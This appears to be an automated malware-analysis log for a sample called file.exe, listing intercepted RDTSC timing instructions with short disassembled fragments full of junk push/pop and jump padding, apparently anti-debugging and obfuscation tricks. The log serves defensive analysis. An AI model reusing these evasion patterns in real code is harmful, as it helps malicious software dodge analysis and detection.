Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C9F6 second address: E2C9FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C9FE second address: E2CA08 instructions: 0x00000000 rdtsc 0x00000002 js 00007F490480C8B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CB46 second address: E2CB4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3355D second address: E33566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33566 second address: E3356C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E333CA second address: E333DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jng 00007F490480C8B6h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38497 second address: E384AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4904C31166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F4904C31166h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E384AC second address: E384BC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F490480C8B6h 0x00000008 ja 00007F490480C8B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E384BC second address: E384C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F4904C31166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BE60 second address: E3BE65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BE65 second address: E3BE6C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B969 second address: E3B96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B96D second address: E3B985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4904C3116Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B985 second address: E3B989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B989 second address: E3B99B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BB0D second address: E3BB2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C6h 0x00000007 jl 00007F490480C8C2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BB2D second address: E3BB33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BB33 second address: E3BB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F490480C8D2h 0x0000000d jmp 00007F490480C8C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BB58 second address: E3BB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4904C31177h 0x0000000b jne 00007F4904C31166h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BB7B second address: E3BBAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F490480C8C6h 0x0000000e jmp 00007F490480C8BEh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F490480C8BFh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41CD0 second address: E41CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41CDA second address: E41CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41CDE second address: E41CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41CE4 second address: E41D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F490480C8CCh 0x0000000c jmp 00007F490480C8C4h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41D0A second address: E41D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41D0E second address: E41D68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F490480C8C2h 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F490480C8C1h 0x00000017 popad 0x00000018 jmp 00007F490480C8BFh 0x0000001d pushad 0x0000001e jmp 00007F490480C8C7h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E416D5 second address: E416DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E467E3 second address: E46806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F490480C8B6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jnp 00007F490480C8B6h 0x00000012 popad 0x00000013 pop ebx 0x00000014 pushad 0x00000015 push ecx 0x00000016 push edi 0x00000017 pop edi 0x00000018 jnl 00007F490480C8B6h 0x0000001e pop ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46806 second address: E4680A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4680A second address: E4682A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F490480C8B6h 0x00000008 jmp 00007F490480C8C2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4682A second address: E4682E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC35 second address: E4DC45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8BCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC45 second address: E4DC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC4B second address: E4DC55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F490480C8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5694B second address: E5694F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5694F second address: E56953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56953 second address: E56960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56960 second address: E56966 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56AD2 second address: E56ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56ADA second address: E56AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56AEA second address: E56B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4904C31179h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56B07 second address: E56B0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56C5A second address: E56C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56C5E second address: E56C62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56E22 second address: E56E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56F6E second address: E56F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E570CC second address: E570D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E570D7 second address: E570DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E570DB second address: E5710E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F4904C31172h 0x0000000e jmp 00007F4904C31176h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64EBD second address: D64EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edi 0x00000008 jc 00007F490480C8D8h 0x0000000e jmp 00007F490480C8C5h 0x00000013 jmp 00007F490480C8BDh 0x00000018 popad 0x00000019 push esi 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B99B second address: E5B9C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31177h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4904C3116Dh 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9C9 second address: E5B9CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9CD second address: E5B9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9D3 second address: E5B9E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F490480C8BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9E5 second address: E5B9E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B9E9 second address: E5BA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F490480C8B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F490480C8E6h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5BA01 second address: E5BA1B instructions: 0x00000000 rdtsc 0x00000002 js 00007F4904C31166h 0x00000008 ja 00007F4904C31166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F4904C31166h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6DF45 second address: E6DF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnl 00007F490480C8B6h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B15E second address: E7B162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B162 second address: E7B17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push edx 0x00000008 jmp 00007F490480C8C0h 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C7E3 second address: E7C7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C31174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C7FB second address: E7C804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C804 second address: E7C82D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F4904C3116Ah 0x0000000b popad 0x0000000c jmp 00007F4904C31173h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9108B second address: E91091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E915BF second address: E915C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91762 second address: E91768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91768 second address: E9178B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4904C31175h 0x0000000d js 00007F4904C31166h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91952 second address: E91965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F490480C8C2h 0x0000000b jng 00007F490480C8B6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91C32 second address: E91C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91C36 second address: E91C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91C3C second address: E91C5C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4904C3116Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4904C3116Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97414 second address: E97419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97419 second address: E97433 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97433 second address: E97438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97A1A second address: E97A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97A1E second address: E97A24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97A24 second address: E97A64 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F4904C31166h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jg 00007F4904C31170h 0x00000013 jmp 00007F4904C3116Ah 0x00000018 nop 0x00000019 mov dword ptr [ebp+122D1E84h], ebx 0x0000001f push dword ptr [ebp+122D29F3h] 0x00000025 mov edx, dword ptr [ebp+122D354Dh] 0x0000002b and edx, 37F7BB27h 0x00000031 push 11B851A3h 0x00000036 push edi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97A64 second address: E97A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9942C second address: E99432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99432 second address: E99438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99438 second address: E9943C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98F6D second address: E98F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903A8 second address: 50903B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903B7 second address: 50903DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 movsx ebx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F490480C8C9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903DF second address: 50903E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903E5 second address: 50903E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090411 second address: 5090497 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4904C31171h 0x00000009 add ax, C966h 0x0000000e jmp 00007F4904C31171h 0x00000013 popfd 0x00000014 mov ax, 6597h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F4904C31176h 0x00000024 xor esi, 1F4C5C38h 0x0000002a jmp 00007F4904C3116Bh 0x0000002f popfd 0x00000030 movzx esi, di 0x00000033 popad 0x00000034 mov ebx, 2FAB4368h 0x00000039 popad 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F4904C31178h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090497 second address: 50904A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50904A6 second address: 50904AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090536 second address: 509053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509053A second address: 509053E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509053E second address: 5090544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090544 second address: 5090549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090549 second address: 509056C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx esi, bx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F490480C8C3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509056C second address: 50905A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 mov edx, 63B0A4D8h 0x0000000e mov dx, 3684h 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 mov ax, 45ABh 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f call 00007F4904C31173h 0x00000024 pop eax 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905A1 second address: 50905A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905A6 second address: 50905AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905AC second address: 50905B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905EA second address: 50905F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905F0 second address: 50905F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
